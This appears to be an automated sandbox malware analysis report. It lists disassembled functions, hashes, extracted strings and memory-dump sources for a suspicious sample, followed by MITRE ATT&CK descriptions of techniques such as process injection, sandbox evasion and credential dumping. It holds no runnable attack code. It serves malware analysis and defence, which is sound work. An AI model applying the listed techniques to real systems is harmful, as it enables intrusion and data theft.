Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: cd11d55857e50e9293af255402c5c86e331596148f99e511fa3e3e30c6db0de7
Instruction ID: e0b9909794ee9ca8bceb9a06ef469c3028b3215bf9c53e3a872c2f8325439fbf
Opcode Fuzzy Hash: cd11d55857e50e9293af255402c5c86e331596148f99e511fa3e3e30c6db0de7
Instruction Fuzzy Hash: 4FD0A76770001C39A6014585ACC1CFFB71CDB846A5F004063FF08D1040D625490206B1

Function 05142C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142C24

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5ea48239423a87f54743bf387756d496164071ea795c198f8f8480ecc0a3c4cc
Instruction ID: 7375ada1694ce9416e0dead340e3ab7c2df1f8b4c813d52c631f9efd85916ea0
Opcode Fuzzy Hash: 5ea48239423a87f54743bf387756d496164071ea795c198f8f8480ecc0a3c4cc
Instruction Fuzzy Hash: 68B09B729015C5D5DA11E7604708B27791177D0711F75C461F2130641E477CC1D1E975

Non-executed Functions

Function 04FE04E0 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3294504732.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4fe0000_ieUnatt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd3033e6a70c3a5cdcf5da3a0668e7a7190a47c2c06de3efe0c59d55473f4228
Instruction ID: 89115d53347b0f9cb67221a1ba70586a15ca50ba3af129ad0e227a38f35691ba
Opcode Fuzzy Hash: dd3033e6a70c3a5cdcf5da3a0668e7a7190a47c2c06de3efe0c59d55473f4228
Instruction Fuzzy Hash: 4C41F571A0CB1D4FD368EF69948167AB3E2FB85305F50092DD98AC3252EBB4F8478785

Function 0321DC87 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af367c08729dd1756016cf7754771133ef78cf046a499bac6fba05388e7ba288
Instruction ID: 6ec36d5d87ea1664c694c5c0b5aa04b5b32da1b1b6783980f7377d730569dd3c
Opcode Fuzzy Hash: af367c08729dd1756016cf7754771133ef78cf046a499bac6fba05388e7ba288
Instruction Fuzzy Hash: 21E02B3A72539463C210CA5C7F053F5F3EEF793A32B5415AAE840A7322D191D46242E9

Function 04FEDFC1 Relevance: 56.5, Strings: 45, Instructions: 214COMMON

Download Yara Rule

Strings

4567, xrefs: 04FEE03A
@@@@, xrefs: 04FEE11A
@@@@, xrefs: 04FEE18A
@@@@, xrefs: 04FEE0CD
!"#$, xrefs: 04FEE09C
@@@@, xrefs: 04FEE087
@@@@, xrefs: 04FEE17C
%&'(, xrefs: 04FEE0A3
@@@@, xrefs: 04FEE19F
@@@@, xrefs: 04FEE0D4
89:;, xrefs: 04FEE041
@@@@, xrefs: 04FEE121
-./0, xrefs: 04FEE0B1
@@@@, xrefs: 04FEE113
?, xrefs: 04FEE1B0
@@@@, xrefs: 04FEE167
@@@@, xrefs: 04FEE13D
123@, xrefs: 04FEE0B8
@@@?, xrefs: 04FEE033
@@@@, xrefs: 04FEE159
@@@@, xrefs: 04FEE105
@@@@, xrefs: 04FEE160
@@@@, xrefs: 04FEE04F
@@@@, xrefs: 04FEE136
@@@@, xrefs: 04FEE0F7
@@@@, xrefs: 04FEE191
@@@@, xrefs: 04FEE16E
@@@@, xrefs: 04FEE0C6
@@@@, xrefs: 04FEE14B
@@@@, xrefs: 04FEE0E2
@@@@, xrefs: 04FEE0DB
@@@@, xrefs: 04FEE12F
@@@@, xrefs: 04FEE152
@@@@, xrefs: 04FEE144
@@@@, xrefs: 04FEE0BF
)*+,, xrefs: 04FEE0AA
<=@@, xrefs: 04FEE048
@@@@, xrefs: 04FEE128
@@@@, xrefs: 04FEE0F0
@@@@, xrefs: 04FEE0FE
@@@@, xrefs: 04FEE183
@@@@, xrefs: 04FEE0E9
@@@@, xrefs: 04FEE10C
@@@@, xrefs: 04FEE198
@@@@, xrefs: 04FEE175

Memory Dump Source

Source File: 0000000C.00000002.3294504732.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4fe0000_ieUnatt.jbxd

Similarity

API ID:
String ID: !"#$$%&'($)*+,$-./0$123@$4567$89:;$<=@@$?$@@@?$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@
API String ID: 0-3558027158
Opcode ID: b02f8bfbf4e58316130b185ce0de840188b02248a05ad16ac2bd8673047f9ee0
Instruction ID: ab7afd6b2c7d891200c73230d2411a3a48c8b8173c392e82c61be3e8845f4702
Opcode Fuzzy Hash: b02f8bfbf4e58316130b185ce0de840188b02248a05ad16ac2bd8673047f9ee0
Instruction Fuzzy Hash: EF915FF04082988AC7158F55A0612AFFFB1EBC6305F15816DE7E6BB243C3BE8945CB85

Function 05142890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0514293C
___swprintf_l.LIBCMT ref: 0514295E
___swprintf_l.LIBCMT ref: 051429A3
___swprintf_l.LIBCMT ref: 0517A52E

Strings

ffff:, xrefs: 0517A504
::ffff:0:%u.%u.%u.%u, xrefs: 0517A54E
::%hs%u.%u.%u.%u, xrefs: 0517A527
:%u.%u.%u.%u, xrefs: 0517A5B8

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: e8d3a1d9c71a1fcaabf554d8b00ec520292f6426ddb0f197dc3142a67637ceff
Instruction ID: d5b527642cdcdf60982581897910226d151ce608a9786a8d3dd7eb4d01d48bec
Opcode Fuzzy Hash: e8d3a1d9c71a1fcaabf554d8b00ec520292f6426ddb0f197dc3142a67637ceff
Instruction Fuzzy Hash: E251A5B6A04216BFCB24DF9CC99097EFBB9BB08240F549269F475D7641D374DE808BA0

Function 05137630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 05174655
CLIENT(ntdll): Processing section info %ws..., xrefs: 05174787
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 05174742
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 05174725
ExecuteOptions, xrefs: 051746A0
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 051746FC
Execute=1, xrefs: 05174713

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: e6f7b732a43a9094e5328d316bf4a0c00518ec5e6e6ddeb0da829a00f43c1ae1
Instruction ID: f6ece3d6596688bf8c1142900bcfae8b70698413593aba40f23cc7f228dd3199
Opcode Fuzzy Hash: e6f7b732a43a9094e5328d316bf4a0c00518ec5e6e6ddeb0da829a00f43c1ae1
Instruction Fuzzy Hash: 1E51C6B1B042197AEF21EAA4ACAAFBD77A9EB04310F1400A9E505AB1D1DB719B45CF50

Function 0514B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 0514B6BF

Strings

-, xrefs: 0514B650
0, xrefs: 0514B66F
+, xrefs: 0514B65A
0, xrefs: 0514B695

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction ID: 3e350fc2c89c5f6920c2cb2949ef8a9bf14dfaa3ce250bc034794579206dd6ad
Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction Fuzzy Hash: D0818E70A0D2499ADF28DF68C891BFEBBA2BF45320F186159D892A72D1C734D841CF54

Function 0512F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 051702E7
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 051702BD
RTL: Re-Waiting, xrefs: 0517031E

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: 83bf1c76056031c28666927a8d88834c60eee1e366b3a8a479af68461b47e684
Instruction ID: 3a2c17c25fbdd7c779cf4f903123d7aaac463f0315a398cc7bc18734746b4d0a
Opcode Fuzzy Hash: 83bf1c76056031c28666927a8d88834c60eee1e366b3a8a479af68461b47e684
Instruction Fuzzy Hash: 6EE1BD316087419FD724CF28C889B2AB7F2FB88724F144A5DF5A68B2D1D774E856CB42

Function 0513BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

RTL: Resource at %p, xrefs: 05177B8E
RTL: Re-Waiting, xrefs: 05177BAC
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 05177B7F

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID:
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 0-871070163
Opcode ID: 43f74a8d58ab94b97a0bcac4ba75c66dbc8e5f2039b6a38e2ad669b74dd40174
Instruction ID: 28f68f397be057ecd37fc11c1d4e8855c5741b7bf5a6559d3a565b234da481f0
Opcode Fuzzy Hash: 43f74a8d58ab94b97a0bcac4ba75c66dbc8e5f2039b6a38e2ad669b74dd40174
Instruction Fuzzy Hash: 7741E2313097069FC724DE29C851F6AB7E6FF88720F100A2DE95A9B681EB30E4058B91

Function 0513B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0517728C

Strings

RTL: Resource at %p, xrefs: 051772A3
RTL: Re-Waiting, xrefs: 051772C1
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 05177294

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: 0f65ef2c5dcba8bbc5ea9858a067ded8de3e6e006744f0ce98533d54c4790465
Instruction ID: 83f9c0e4c95007b11cbbeeb9236530971de9de130ee5f0b533bb8cddfd78e025
Opcode Fuzzy Hash: 0f65ef2c5dcba8bbc5ea9858a067ded8de3e6e006744f0ce98533d54c4790465
Instruction Fuzzy Hash: 2041F531708206ABC725DE29CC45F6AB7B6FF44710F100A19F966EB280EB31E856CBD1

Function 04FE3AA8 Relevance: 6.3, Strings: 5, Instructions: 29COMMON

Download Yara Rule

Strings

3zv4, xrefs: 04FE3ACC
$, xrefs: 04FE3AD4
zv23, xrefs: 04FE3AB7
0:7", xrefs: 04FE3AC4
1,?&, xrefs: 04FE3ADC

Memory Dump Source

Source File: 0000000C.00000002.3294504732.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4fe0000_ieUnatt.jbxd

Similarity

API ID:
String ID: $$0:7"$1,?&$3zv4$zv23
API String ID: 0-379306231
Opcode ID: ff15ea654525b40ac11d1f418f6c1f760e806326c8e1028e0868aabd69452887
Instruction ID: 6ecacbf1820178b1b80f709fedee19391c0c95b52e878f1f0b0387215cbc32c4
Opcode Fuzzy Hash: ff15ea654525b40ac11d1f418f6c1f760e806326c8e1028e0868aabd69452887
Instruction Fuzzy Hash: 3DF082340287448FC708AF15C8846AA7AE1FF88749F80166CF88ACB251DB79C6468B87

Function 05147D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 05147E8B

Strings

+, xrefs: 05147DE8
-, xrefs: 05147DDD

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
Instruction ID: 660b9687734a44c518c26c5f2d5c95e86550e645338c26a1c83bf47a71eff021
Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
Instruction Fuzzy Hash: CB91B870E042159FDF24DF69C890ABEB7A6FF44720F54661AE865E72C0D73499838F50

Function 05109126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

$, xrefs: 05109191
@, xrefs: 05109175

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: 35e748af9864ed91e9dd435fb5e172cfc13e5171754d05b586b612fa1bb3cd7a
Instruction ID: 99ac2f464ccaa6b565ac5e2cfbdcc202a788d0568bfa1245b4c5f61f4158f4e9
Opcode Fuzzy Hash: 35e748af9864ed91e9dd435fb5e172cfc13e5171754d05b586b612fa1bb3cd7a
Instruction Fuzzy Hash: CB814B75E012699BDB35DB54CC44BEEB7B5AF08750F0041EAE91AB7281D7709E84CFA0

Analysis Process: xwZkSdnVCDBnu.exePID: 6160, Parent PID: 1276COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 058F3DBE Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

closesocket.WS2_32(?), ref: 058F3DF3

Memory Dump Source

Source File: 0000000E.00000002.3296102797.0000000005890000.00000040.80000000.00040000.00000000.sdmp, Offset: 05890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5890000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 9273b273d68921ec2e4ed655abae52dd9e467ff9c2a7a03049c789026ff8e20a
Instruction ID: 9c9079c5389e1fe184e9e11df5373e76e620723731084cf1e2b7069e5ac78212
Opcode Fuzzy Hash: 9273b273d68921ec2e4ed655abae52dd9e467ff9c2a7a03049c789026ff8e20a
Instruction Fuzzy Hash: F4E08C3A3402597BC620EA5ECC01CEBB7ADDFC6710B40406AFE08A7240CAB1B90187F1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

